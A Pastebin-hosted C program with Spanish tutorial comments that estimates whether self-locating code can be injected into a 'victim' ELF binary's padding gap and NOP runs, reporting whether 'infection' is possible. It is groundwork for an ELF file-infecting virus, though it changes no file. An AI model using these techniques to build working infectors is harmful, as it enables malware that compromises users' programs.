Advertisement
Guest User

Untitled

a guest
Apr 5th, 2012
350
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 12.25 KB | None | 0 0
  1. /*
  2.  *    Estimación de las posibilidades de inyección segmentada.
  3.  *    Copyright (C) 2012  Gonzalo J. Carracedo
  4.  *
  5.  *    This program is free software: you can redistribute it and/or modify
  6.  *    it under the terms of the GNU General Public License as published by
  7.  *    the Free Software Foundation, either version 3 of the License, or
  8.  *    (at your option) any later version.
  9.  *
  10.  *    This program is distributed in the hope that it will be useful,
  11.  *    but WITHOUT ANY WARRANTY; without even the implied warranty of
  12.  *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  13.  *    GNU General Public License for more details.
  14.  *
  15.  *    You should have received a copy of the GNU General Public License
  16.  *    along with this program.  If not, see <http://www.gnu.org/licenses/>
  17.  */
  18.  
  19. #include <sys/syscall.h>
  20. #include <sys/types.h>
  21. #include <elf.h>
  22. #include <stdint.h>
  23. #include <sys/mman.h>
  24. #include <stdlib.h>
  25.  
  26. #define DEBUG(x) write (1, x, sizeof (x) - 1)
  27.  
  28. /* Esta versión implementa mmap en vez de read, write o lseek. Es más
  29.    rápido, más corto y funcionará mejor para nuestros propósitos */
  30. /* Los includes pueden llegar a ser muy molestos. */
  31. #define O_RDWR                02
  32.  
  33. /* He utilizado el mismo marcador en ambos, la cadena "KPAX". KPAX es una
  34.    cadena más o menos segura y es realmente complicada encontrarla por ca-
  35.    sualidad en un binario (se puede hacer la prueba con un simple grep KPAX
  36.    en todos los ficheros de /bin, /usr/bin, y /usr/lib, no hay una sola
  37.    coincidencia) */
  38.    
  39. #define BOTTOM_MARKER_LOW  0x504b
  40. #define BOTTOM_MARKER_HIGH 0x5841
  41. #define TOP_MARKER_LOW     BOTTOM_MARKER_LOW
  42. #define TOP_MARKER_HIGH    BOTTOM_MARKER_HIGH
  43.  
  44. #define BOTTOM_MARKER      0x5841504b
  45. #define TOP_MARKER         BOTTOM_MARKER
  46.  
  47. /* Pequeño hack del preprocesador de C para convertir palabras a cadenas */
  48. /* Cuando hagamos algo como STRINGIFY(palabra), el preprocesador nos lo
  49.    sustituirá por la cadena "palabra" */
  50.    
  51. #define _STRINGIFY(x) #x
  52. #define STRINGIFY(x) _STRINGIFY (x)
  53.  
  54. /* El flag "x" le indica a GCC que la sección debe ser código ejecutable y
  55.    el flag "a" le obliga a que la sección se cargue en memoria */
  56.    
  57. asm (".section .code_bottom, \"xa\"");
  58. asm (".long " STRINGIFY (BOTTOM_MARKER));
  59.  
  60. asm (".section .code_top, \"xa\"");
  61. asm (".long " STRINGIFY (TOP_MARKER));
  62.  
  63.  
  64. /* write la conservamos SÓLO para debug */
  65. int
  66. write (int fd, const void *buf, int size)
  67. {
  68.   int ret;
  69.  
  70.   asm volatile ("xchg %%ebx, %%esi\n"
  71.                  "int $0x80\n"
  72.                  "xchg %%ebx, %%esi\n" : "=a" (ret) :
  73.                  "a" (__NR_write), "S" (fd), "c" (buf), "d" (size));
  74.    
  75.   return ret;
  76. }
  77.  
  78. /*
  79.  * Código copiado por las malas de la libc para la implementación de mmap.
  80.  */
  81.  
  82. void *
  83. mmap (void *start, size_t length, int prot, int flags, int fd, off_t offset);
  84.  
  85. int
  86. munmap (void *start, size_t length);
  87.  
  88. asm (".section .text");
  89. asm (".global munmap");
  90. asm ("munmap:");
  91. asm ("  mov    %ebx,%edx");
  92. asm ("  mov    0x8(%esp),%ecx");
  93. asm ("  mov    0x4(%esp),%ebx");
  94. asm ("  mov    $0x5b,%eax");
  95. asm ("  int    $0x80");
  96. asm ("  mov    %edx,%ebx");
  97. asm ("  ret");
  98.  
  99. asm (".global mmap");
  100. asm ("mmap:");
  101. asm ("  push   %ebp");
  102. asm ("  push   %ebx");
  103. asm ("  push   %esi");
  104. asm ("  push   %edi");
  105. asm ("  mov    0x14(%esp), %ebx");
  106. asm ("  mov    0x18(%esp), %ecx");
  107. asm ("  mov    0x1c(%esp), %edx");
  108. asm ("  mov    0x20(%esp), %esi");
  109. asm ("  mov    0x24(%esp), %edi");
  110. asm ("  mov    0x28(%esp), %ebp");
  111. asm ("  shr    $0xc, %ebp"); /* El kernel se espera directamente los 12 bits de página */
  112. asm ("  mov    $0xc0, %eax");
  113. asm ("  int    $0x80");
  114. asm ("  pop    %edi");
  115. asm ("  pop    %esi");
  116. asm ("  pop    %ebx");
  117. asm ("  pop    %ebp");
  118. asm ("  ret");
  119.  
  120. static int
  121. open (const char *path, int mode)
  122. {
  123.   int ret;
  124.  
  125.   asm volatile ("xchg %%ebx, %%esi\n"
  126.                  "int $0x80\n"
  127.                  "xchg %%ebx, %%esi\n" : "=a" (ret) :
  128.                  "a" (__NR_open), "S" (path), "c" (mode));
  129.    
  130.   return ret;
  131. }
  132.  
  133. static int
  134. close (int fd)
  135. {
  136.   int ret;
  137.  
  138.   asm volatile ("xchg %%ebx, %%esi\n"
  139.                  "int $0x80\n"
  140.                  "xchg %%ebx, %%esi\n" : "=a" (ret) :
  141.                  "a" (__NR_close), "S" (fd));
  142.    
  143.   return ret;
  144. }
  145.  
  146.  
  147. #define GET_FILE_SIZE(fd, size)                                \
  148.   asm volatile ("xchg %%ebx, %%esi\n"                          \
  149.                 "int $0x80\n"                                  \
  150.                 "xchg %%ebx, %%esi\n" : "=a" (size) :          \
  151.                 "a" (__NR_lseek), "S" (fd), "c" (0), "d" (2));
  152.  
  153. /* long2hex: convierte un número en hexadecimal, no tiene más cosa. Será
  154.    muy útil para depurar. */
  155. void
  156. long2hex (unsigned int number, char *buf)
  157. {
  158.   int i;
  159.   char hexa[] = "0123456789abcdef";
  160.  
  161.   buf[8] = 0;
  162.  
  163.   for (i = 0; i < 8; i++)
  164.   {
  165.     buf[7 - i] = hexa[number & 0xf];
  166.     number >>= 4;
  167.   }
  168. }
  169.  
  170. /* Esto lo utilizaré para buscar los marcadores del código. Saco la dirección
  171.    del %eip mediante un call (ya que no podemos calcular las direcciones de
  172.    nuestras funciones sin acceder a la GOT) y a partir de ahí doy saltos
  173.    hacia arriba o hacia abajo hasta encontrarlos */
  174.    
  175. void
  176. get_code_limits (uint32_t *bottom, uint32_t *top)
  177. {
  178.   int i;
  179.   uint32_t this_addr;
  180.  
  181.   /* Voy a hacer un call cortito, sólo para que meta en la pila la dirección
  182.      de código en la que me hallo. El popl %0 saca la dirección de retorno
  183.      que metí con call y ¡zasca! tengo el %eip en this_addr. Gracias,
  184.      inline assembly de GCC */
  185.      
  186.   /* call 1f quiere decir "call 1 forward", es decir, saltar hacia la etiqueta
  187.      que llamé 1 y que está hacia adelante. Esto de utilizar números para
  188.      etiquetas se suele hacer mucho cuando la etiqueta hace referencia
  189.      a un cacho de código que no está especialmente diferenciado del resto. */
  190.      
  191.   asm volatile ("call 1f\n"
  192.                  "1:\n"
  193.                  "popl %0\n" : "=g" (this_addr));
  194.                  
  195.  
  196.   /* Alineamos a 4 bytes. Esto lo hacemos poniendo los dos
  197.      últimos bits a cero. */
  198.      
  199.   this_addr &= ~3; /* this_addr = this_addr & ~3 equivale a
  200.                       this_addr = this_addr & 0xfffffffc que es un and
  201.                       en binario con todo 1 menos los dos últimos bits,
  202.                       esto fuerza a que el número esté alineado a 4. */
  203.  
  204.  
  205.   /* Búsqueda del marcador inferior. Como hemos forzado al enlazador a que
  206.      nos alinee los marcadores a 4 bytes, podemos alinear también nuestra
  207.      dirección de inicio y saltar de 4 en 4 para encontrarlo antes.
  208.      
  209.      El marcador está hacia "atrás", o sea que recorreremos la memoria
  210.      restando. */
  211.      
  212.   for (i = this_addr; ; i -= 4)
  213.   {
  214.     if (*(uint16_t *) i == BOTTOM_MARKER_LOW) /* Primero la parte alta */
  215.       if (*(uint16_t *) (i + 2) == BOTTOM_MARKER_HIGH) /* Y luego la baja */
  216.       {
  217.         *bottom = i;
  218.         break;
  219.       }
  220.   }
  221.  
  222.   /* Búsqueda del marcador superior, ahora tenemos que dar saltos en
  223.      nuestra memoria hacia adelante, sumando. */
  224.   for (i = this_addr; ; i += 4)
  225.   {
  226.     if (*(uint16_t *) i == TOP_MARKER_LOW)
  227.       if (*(uint16_t *) (i + 2) == TOP_MARKER_HIGH)
  228.       {
  229.         *top = i + 4; /* Le sumo cuatro porque el marcador superior (que mide
  230.                          4 bytes) también pertenece al código. */
  231.         break;
  232.       }
  233.   }
  234.  
  235. }
  236.  
  237. /* Equivalente a map_elf, pero usando mmap */
  238. void *
  239. map_elf (const char *path, size_t *size)
  240. {
  241.   int fd;
  242.   int this_size;
  243.   void *map;
  244.   Elf32_Ehdr *Ehdr;
  245.  
  246.   if ((fd = open (path, O_RDWR)) < 0)
  247.     return NULL; /* Error al abrir */
  248.  
  249.   GET_FILE_SIZE (fd, this_size);
  250.  
  251.   if (this_size < 0)
  252.     return NULL;
  253.    
  254.   *size = this_size;
  255.  
  256.   map = mmap (NULL, *size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
  257.  
  258.   if ((uint32_t) map & 0xfff)
  259.     return NULL;
  260.  
  261.   Ehdr = (Elf32_Ehdr *) map;
  262.  
  263.  
  264.   if (Ehdr->e_ident[EI_MAG0] != ELFMAG0 ||
  265.       Ehdr->e_ident[EI_MAG1] != ELFMAG1 ||
  266.       Ehdr->e_ident[EI_MAG2] != ELFMAG2 ||
  267.       Ehdr->e_ident[EI_MAG3] != ELFMAG3)
  268.   {
  269.     munmap (map, *size);
  270.     return NULL; /* Números mágicos incorrectos */
  271.   }
  272.  
  273.   if (Ehdr->e_ident[EI_CLASS] != ELFCLASS32)
  274.   {
  275.     munmap (map, *size);
  276.     return NULL; /* El ELF no es de 32 bits */
  277.   }
  278.  
  279.   if (Ehdr->e_ident[EI_DATA] != ELFDATA2LSB)
  280.   {
  281.     munmap (map, *size);
  282.     return NULL; /* El ELF no es little endian */
  283.   }
  284.  
  285.   if (Ehdr->e_type != ET_EXEC && Ehdr->e_type != ET_DYN)
  286.   {
  287.     munmap (map, *size);
  288.     return NULL; /* El ELF no es ni un ejecutable ni una biblioteca */
  289.   }
  290.  
  291.   return map;
  292. }
  293.  
  294. /* Macro para alinear a tamaños */
  295. #define ALIGN(x, size) (((x) / size + !!((x) % size)) * size)
  296.  
  297. int
  298. get_alloc_info (void *base, size_t *gap_bytes, int *nop_bytes, int *nop_chunks)
  299. {
  300.   int i;
  301.   int code_idx;
  302.   size_t  gap_size;
  303.   unsigned char *text;
  304.   int state = 0;
  305.   int stripsize = 0;
  306.   off_t   gap_start, gap_start_relative;
  307.  
  308.   Elf32_Ehdr *Ehdr;
  309.   Elf32_Phdr *Phdr;
  310.  
  311.   code_idx = -1;
  312.  
  313.   Ehdr = (Elf32_Ehdr *) base;
  314.   Phdr = (Elf32_Phdr *) (base + Ehdr->e_phoff);
  315.    
  316.   for (i = 0; i < Ehdr->e_phnum; i++)
  317.   {  
  318.     if (Phdr[i].p_type == PT_LOAD)
  319.     {
  320.       if (Phdr[i].p_flags & PF_X)
  321.       {
  322.         if (code_idx != -1) /* ¿Dos segmentos de código? dew */
  323.           return -1;
  324.         code_idx = i;
  325.       }
  326.     }
  327.   }
  328.    
  329.   if (code_idx == -1)
  330.     return -1;
  331.  
  332.   gap_start_relative = ALIGN (Phdr[code_idx].p_filesz, 4); /* Comienzo relativo al segmentp */
  333.   gap_start = Phdr[code_idx].p_offset + gap_start_relative; /* Comienzo real */
  334.   gap_size  = 4096 - (gap_start & 0xfff); /* Tamaño */
  335.  
  336.      
  337.   for (i = 0; i < Ehdr->e_phnum; i++)
  338.   {
  339.     /* ¿Está a caballo entre otro segmento? */
  340.     if (Phdr[i].p_type == PT_LOAD)
  341.       if (gap_start <= Phdr[i].p_offset && Phdr[i].p_offset < gap_start + gap_size)
  342.         gap_size = Phdr[i].p_offset - gap_start; /* Corregimos */
  343.   }
  344.  
  345.   *gap_bytes = gap_size;
  346.    
  347.   text = (unsigned char *) (base + Phdr[code_idx].p_offset);
  348.  
  349.   *nop_bytes = 0;
  350.   *nop_chunks = 0;
  351.  
  352.   for (i = 0; i < Phdr[code_idx].p_filesz; i++)
  353.   {
  354.     if (!state)
  355.     {
  356.       if (text[i] == 0x90) /* RET */
  357.       {
  358.         stripsize = 1;
  359.         state++;
  360.       }
  361.     }
  362.     else
  363.     {
  364.       if (text[i] == 0x90)
  365.         stripsize++;
  366.       else
  367.       {
  368.         if (stripsize > 4)
  369.         {
  370.           (*nop_bytes) += stripsize;
  371.           (*nop_chunks)++;
  372.         }
  373.        
  374.         state--;
  375.       }
  376.     }
  377.   }
  378.  
  379.   return 0;
  380. }
  381.  
  382. /* Punto de entrada, como el main () pero en cutre y sin ayudas de ningún tipo */
  383. void
  384. _start (void)
  385. {
  386.   char buffer[9];
  387.   size_t victim_size;
  388.   void* victim_base;
  389.   size_t code_size;
  390.   int gap, nops, chunks;
  391.  
  392.   uint32_t limit_bottom;
  393.   uint32_t limit_top;
  394.  
  395.   get_code_limits (&limit_bottom, &limit_top);
  396.   code_size = limit_top - limit_bottom;
  397.   if ((victim_base = map_elf ("victim", &victim_size)) == NULL)
  398.   {
  399.     DEBUG ("Imposible abrir victim\n");
  400.     for (;;);
  401.   }
  402.  
  403.   if (get_alloc_info (victim_base, &gap, &nops, &chunks) == -1)
  404.   {
  405.     DEBUG ("El binario tiene un segmento de texto extraño.\n");
  406.     for (;;);
  407.   }
  408.  
  409.   DEBUG ("Tamaño del código a inyectar: ");
  410.   long2hex (code_size, buffer);
  411.   buffer[8] = 10;
  412.   write (1, buffer, 9);
  413.   DEBUG ("Bytes en la brecha: ");
  414.   long2hex (gap, buffer);
  415.   buffer[8] = 10;
  416.   write (1, buffer, 9);
  417.   DEBUG ("Nop bytes: ");
  418.   long2hex (nops, buffer);
  419.   buffer[8] = 10;
  420.   write (1, buffer, 9);
  421.   DEBUG ("Divisiones: ");
  422.   long2hex (chunks, buffer);
  423.   buffer[8] = 10;
  424.   write (1, buffer, 9);
  425.  
  426.   if (gap < chunks * 4)
  427.   {
  428.     DEBUG ("Los offsets no caben en la brecha\n");
  429.    
  430.     if (code_size < gap + nops - 4 * chunks)
  431.       DEBUG ("Sin embargo, si incluimos la información en los trozos, PUEDE hacerse\n");
  432.     else
  433.       DEBUG ("Y tampoco caben en los trozos :( la infección es imposible.\n");
  434.   }
  435.   else
  436.   {
  437.     DEBUG ("Tamaño aprovechable de la brecha (incluyendo offsets): ");
  438.     long2hex (gap - chunks * 4, buffer);
  439.     buffer[8] = 10;
  440.     write (1, buffer, 9);
  441.  
  442.     if (code_size < (gap - chunks * 4 + nops))
  443.       DEBUG ("La infección PUEDE hacerse\n");
  444.     else
  445.       DEBUG ("La infección no puede hacerse :(\n");
  446.   }
  447.  
  448.   for (;;);
  449. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement